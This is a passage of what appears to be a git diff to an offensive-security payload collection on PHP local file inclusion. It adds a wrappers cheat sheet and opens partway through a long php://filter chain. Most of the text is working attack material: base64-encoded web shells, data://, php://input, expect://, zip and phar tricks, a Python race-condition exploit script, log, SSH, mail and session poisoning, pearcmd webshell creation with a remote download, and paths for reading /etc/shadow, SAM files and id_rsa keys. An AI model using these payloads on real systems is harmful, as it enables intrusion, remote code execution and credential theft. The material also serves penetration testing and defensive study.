L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd"
```
### Wrapper data://
```powershell
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
### Wrapper expect://
```powershell
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### Wrapper input://
Specify your payload in the POST parameters, this can be done with a simple `curl` command.
```powershell
curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v
```
Alternatively, Kadimus has a module to automate this attack.
```powershell
./kadimus -u "https://example.com/index.php?page=php://input%00" -C '<?php echo shell_exec("id"); ?>' -T input
```
### Wrapper zip://
1. Create an evil payload: `echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;`
2. Zip the file
```python
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
```
3. Upload the archive and access the file using the wrappers: http://example.com/index.php?page=zip://shell.jpg%23payload.php
### Wrapper phar://
Create a phar file with a serialized object in its meta-data.
```php
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
```
If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked
```php
class AnyClass {
function __destruct() {
echo $this->data;
}
}
// output: rips
include('phar://test.phar');
```
NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, `file_exists` and many more.
### Wrapper convert.iconv:// and dechunk://
#### Leak file content from error-based oracle
- `convert.iconv://`: convert input into another folder (`convert.iconv.utf-16le.utf-8`)
- `dechunk://`: if the string contains no newlines, it will wipe the entire string if and only if
the string starts with A-Fa-f0-9
The goal of this exploitation is to leak the content of a file, one character at a time, based on the [DownUnderCTF](https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py) writeup.
**Requirements**:
- Backend must not use `file_exists` or `is_file`.
- Vulnerable parameter should be in a `POST` request.
- You can't leak more than 135 characters in a GET request due to the size limit
The exploit chain is based on PHP filters: `iconv` and `dechunk`:
1. Use the `iconv` filter with an encoding increasing the data size exponentially to trigger a memory error.
2. Use the `dechunk` filter to determine the first character of the file, based on the previous error.
3. Use the `iconv` filter again with encodings having different bytes ordering to swap remaining characters with the first one.
Exploit using [synacktiv/php_filter_chains_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit), the script will use either the `HTTP status code: 500` or the time as an error-based oracle to determine the character.
```ps1
$ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file '/test' --parameter 0
[*] The following URL is targeted : http://127.0.0.1
[*] The following local file is leaked : /test
[*] Running POST requests
[+] File /test leak is finished!
```
#### Leak file content inside a custom format output
* [ambionics/wrapwrap](https://github.com/ambionics/wrapwrap) - Generates a `php://filter` chain that adds a prefix and a suffix to the contents of a file.
To obtain the contents of some file, we would like to have: `{"message":"<file contents>"}`.
```ps1
./wrapwrap.py /etc/passwd 'PREFIX' 'SUFFIX' 1000
./wrapwrap.py /etc/passwd '{"message":"' '"}' 1000
./wrapwrap.py /etc/passwd '<root><name>' '</name></root>' 1000
```
This can be used against vulnerable code like the following.
```php
<?php
$data = file_get_contents($_POST['url']);
$data = json_decode($data);
echo $data->message;
?>
```
## LFI to RCE via /proc/*/fd
1. Upload a lot of shells (for example : 100)
2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)
## LFI to RCE via /proc/self/environ
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
```powershell
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
## LFI to RCE via upload
If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
```powershell
http://example.com/index.php?page=path/to/uploaded/file.png
```
In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf
## LFI to RCE via upload (race)
* Upload a file and trigger a self-inclusion.
* Repeat the upload a shitload of time to:
* increase our odds of winning the race
* increase our guessing odds
* Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
* Enjoy our shell.
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
```
## LFI to RCE via upload (FindFirstFile)
:warning: Only works on Windows
`FindFirstFile` allows using masks (`<<` as `*` and `>` as `?`) in LFI paths on Windows. A mask is essentially a search pattern that can include wildcard characters, allowing users or developers to search for files or directories based on partial names or types. In the context of FindFirstFile, masks are used to filter and match the names of files or directories.
* `*`/`<<` : Represents any sequence of characters.
* `?`/`>` : Represents any single character.
Upload a file, it should be stored in the temp folder `C:\Windows\Temp\` with a generated name like `php[A-F0-9]{4}.tmp`.
Then either bruteforce the 65536 filenames or use a wildcard character like: `http://site/vuln.php?inc=c:\windows\temp\php<<`
## LFI to RCE via phpinfo()
PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**.
> By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.
Use the script [phpInfoLFI.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
## LFI to RCE via controlled log file
Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
```powershell
http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/apache2/access.log
http://example.com/index.php?page=/var/log/apache2/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log
```
### RCE via SSH
Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`.
```powershell
ssh <?php system($_GET["cmd"]);?>@10.10.10.10
```
Then include the SSH log files inside the Web Application.
```powershell
http://example.com/index.php?page=/var/log/auth.log&cmd=id
```
### RCE via Mail
First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`.
```powershell
root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: mail@example.com
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.
```
In some cases you can also send the email with the `mail` command line.
```powershell
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
```
### RCE via Apache logs
Poison the User-Agent in access logs:
```
$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
```
Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.
Then request the logs via the LFI and execute your command.
```
$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
```
## LFI to RCE via PHP sessions
Check if the website use PHP Session (PHPSESSID)
```javascript
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/sessions/sess_[PHPSESSID] files
```javascript
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Set the cookie to `<?php system('cat /etc/passwd');?>`
```powershell
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Use the LFI to include the PHP session file
```powershell
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
```
## LFI to RCE via PHP PEARCMD
PEAR is a framework and distribution system for reusable PHP components. By default `pearcmd.php` is installed in every Docker PHP image from [hub.docker.com](https://hub.docker.com/_/php) in `/usr/local/lib/php/pearcmd.php`.
The file `pearcmd.php` uses `$_SERVER['argv']` to get its arguments. The directive `register_argc_argv` must be set to `On` in PHP configuration (`php.ini`) for this attack to work.
```ini
register_argc_argv = On
```
There are this ways to exploit it.
* Method 1: config create
```ps1
/vuln.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET['cmd'])?>+/tmp/exec.php
/vuln.php?file=/tmp/exec.php&cmd=phpinfo();die();
```
* Method 2: man_dir
```ps1
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+
/vuln.php?file=/tmp/exec.php&c=id
```
The created configuration file contains the webshell.
```php
#PEAR_Config 0.9
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";}
```
* Method 3: download
Need external network connection.
```ps1
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+download+http://<ip>:<port>/exec.php
/vuln.php?file=exec.php&c=id
```
* Method 4: install
Need external network connection.
Notice that `exec.php` locates at `/tmp/pear/download/exec.php`.
```ps1
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://<ip>:<port>/exec.php
/vuln.php?file=/tmp/pear/download/exec.php&c=id
```
## LFI to RCE via credentials files
This method require high privileges inside the application in order to read the sensitive files.
### Windows version
First extract `sam` and `system` files.
```powershell
http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
```
Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique.
### Linux version
First extract `/etc/shadow` files.
```powershell
http://example.com/index.php?page=../../../../../../etc/shadow
```
Then crack the hashes inside in order to login via SSH on the machine.
Another way to gain SSH access to a Linux machine through LFI is by reading the private key file, id_rsa.
If SSH is active check which user is being used `/proc/self/status` and `/etc/passwd` and try to access `/<HOME>/.ssh/id_rsa`.
## References ## References
* [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion) - [CVV #1: Local File Inclusion - SI9INT - Jun 20, 2018](https://web.archive.org/web/20200724150218/https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
* [HighOn.coffee LFI Cheat](https://highon.coffee/blog/lfi-cheat-sheet/) - [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction - Mannu Linux - 2019-05-12](https://web.archive.org/web/20260220172333/https://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html)
* [Turning LFI to RFI](https://l.avala.mp/?p=241) - [Is PHP vulnerable and under what conditions? - April 13, 2015 - Andreas Venieris](https://web.archive.org/web/20250209181954/http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html)
* [Is PHP vulnerable and under what conditions?](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html) - [LFI Cheat Sheet - @Arr0way - 24 Apr 2016](https://web.archive.org/web/20180121083456/https://highon.coffee/blog/lfi-cheat-sheet/)
* [Upgrade from LFI to RCE via PHP Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/) - [Testing for Local File Inclusion - OWASP - 25 June 2017](https://web.archive.org/web/20131021005706/https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
* [Local file inclusion tricks](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html) - [Turning LFI into RFI - Grayson Christopher - 2017-08-14](https://web.archive.org/web/20170815004721/https://l.avala.mp/?p=241)
* [CVV #1: Local File Inclusion - SI9INT](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
* [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos](https://web.archive.org/web/20200919055801/http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html)
* [Baby^H Master PHP 2017 by @orangetw](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017)
* [Чтение файлов => unserialize !](https://web.archive.org/web/20200809082021/https://rdot.org/forum/showthread.php?t=4379)
* [New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse](https://blog.ripstech.com/2018/new-php-exploitation-technique/)
* [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
* [CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
* [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1)
* [PHP LFI with Nginx Assistance](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
* [PHP LFI to arbitrary code execution via rfc1867 file upload temporary files (EN) - gynvael.coldwind - 2011-03-18](https://gynvael.coldwind.pl/?id=376)
* [LFI2RCE via PHP Filters - HackTricks](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters)
* [Solving "includer's revenge" from hxp ctf 2021 without controlling any files - @loknop](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)
* [PHP FILTERS CHAIN: WHAT IS IT AND HOW TO USE IT - Rémi Matasse - 18/10/2022](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
* [PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE - Rémi Matasse - 21/03/2023](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)
* [One Line PHP: From Genesis to Ragnarök - Ginoah, Bookgin](https://hackmd.io/@ginoah/phpInclude#/)
* [Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix - Charles Fol - 11 December, 2023](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix)

275
File Inclusion/Wrappers.md Normal file
View File

@@ -0,0 +1,275 @@
# Inclusion Using Wrappers
A wrapper in the context of file inclusion vulnerabilities refers to the protocol or method used to access or include a file. Wrappers are often used in PHP or other server-side languages to extend how file inclusion functions, enabling the use of protocols like HTTP, FTP, and others in addition to the local filesystem.
## Summary
- [Wrapper php://filter](#wrapper-phpfilter)
- [Wrapper data://](#wrapper-data)
- [Wrapper expect://](#wrapper-expect)
- [Wrapper input://](#wrapper-input)
- [Wrapper zip://](#wrapper-zip)
- [Wrapper phar://](#wrapper-phar)
- [PHAR Archive Structure](#phar-archive-structure)
- [PHAR Deserialization](#phar-deserialization)
- [Wrapper convert.iconv:// and dechunk://](#wrapper-converticonv-and-dechunk)
- [Leak file content from error-based oracle](#leak-file-content-from-error-based-oracle)
- [Leak file content inside a custom format output](#leak-file-content-inside-a-custom-format-output)
- [References](#references)
## Wrapper php://filter
The part "`php://filter`" is case insensitive
| Filter | Description |
| ------ | ----------- |
| `php://filter/read=string.rot13/resource=index.php` | Display index.php as rot13 |
| `php://filter/convert.iconv.utf-8.utf-16/resource=index.php` | Encode index.php from utf8 to utf16 |
| `php://filter/convert.base64-encode/resource=index.php` | Display index.php as a base64 encoded string |
```powershell
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
```
Wrappers can be chained with a compression wrapper for large files.
```powershell
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
```
NOTE: Wrappers can be chained multiple times using `|` or `/`:
- Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s`
- deflate then `base64encode` (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php`
```powershell
./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page
curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php
```
Also there is a way to turn the `php://filter` into a full RCE.
- [synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) - A CLI to generate PHP filters chain
```powershell
$ python3 php_filter_chain_generator.py --chain '<?php phpinfo();?>'
[+] The following gadget chain will generate the following code : <?php phpinfo();?> (base64 value: PD9waHAgcGhwaW5mbygpOz8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.UCS-2.UTF8|convert.iconv.L6.UTF8|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
```
- [LFI2RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/Files/LFI2RCE.py) to generate a custom payload.
```powershell
# vulnerable file: index.php
# vulnerable parameter: file
# executed command: id
# executed PHP code: <?=`$_GET[0]`;;?>
curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd"
```
## Wrapper data://
The payload encoded in base64 is "`<?php system($_GET['cmd']);echo 'Shell done !'; ?>`".
```powershell
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
```
